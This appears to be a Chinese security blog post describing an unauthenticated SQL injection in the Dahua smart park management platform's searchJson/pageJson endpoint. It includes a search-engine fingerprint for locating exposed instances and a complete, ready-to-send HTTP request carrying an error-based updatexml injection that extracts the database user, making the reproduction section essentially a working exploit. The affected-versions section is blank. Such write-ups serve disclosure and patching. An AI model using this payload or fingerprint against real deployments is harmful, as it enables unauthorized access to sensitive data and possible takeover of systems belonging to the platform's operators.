大华智慧园区综合管理平台searchJson SQL注入漏洞
发布时间
阅读量：
阅读量
大华智慧园区综合管理平台存在SQL注入漏洞，攻击者可通过远程未授权方式获取敏感信息并可能获取目标系统权限。漏洞复现请求包含具体请求路径和头信息，攻击者可通过该方式进行漏洞利用。
一、漏洞简介
大华智慧式园区综合管理平台是一款提供园区运营、资源调配和智能服务等基本功能的综合管理平台。该平台旨在优化园区资源分配，以满足多样的管理需求，并通过提供智能服务，提升了用户体验。值得注意的是，该平台未对用户的输入进行有效的过滤检查，直接将其整合到SQL查询语句中，从而导致系统出现SQL注入漏洞。经过该漏洞，远程未授权攻击者可获取敏感信息，进而可能获取目标系统的权限。
二、影响版本
- hunter
app.name="Dahua 大华 智慧园区管理平台" - 登录页面
四、漏洞复现
GET /portal/services/carQuery/getFaceCapture/searchJson/%7B%7D/pageJson/%7B%22orderBy%22:%221%20and%201=updatexml(1,concat(0x7e,(select%20user()),0x7e),1)--%22%7D/extend/%7B%7D HTTP/1.1
Host: xx.xx.xx.xx
Cookie: JSESSIONID=0B95DCE16676556E16169127452F23E1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
全部评论 (0)
还没有任何评论哟~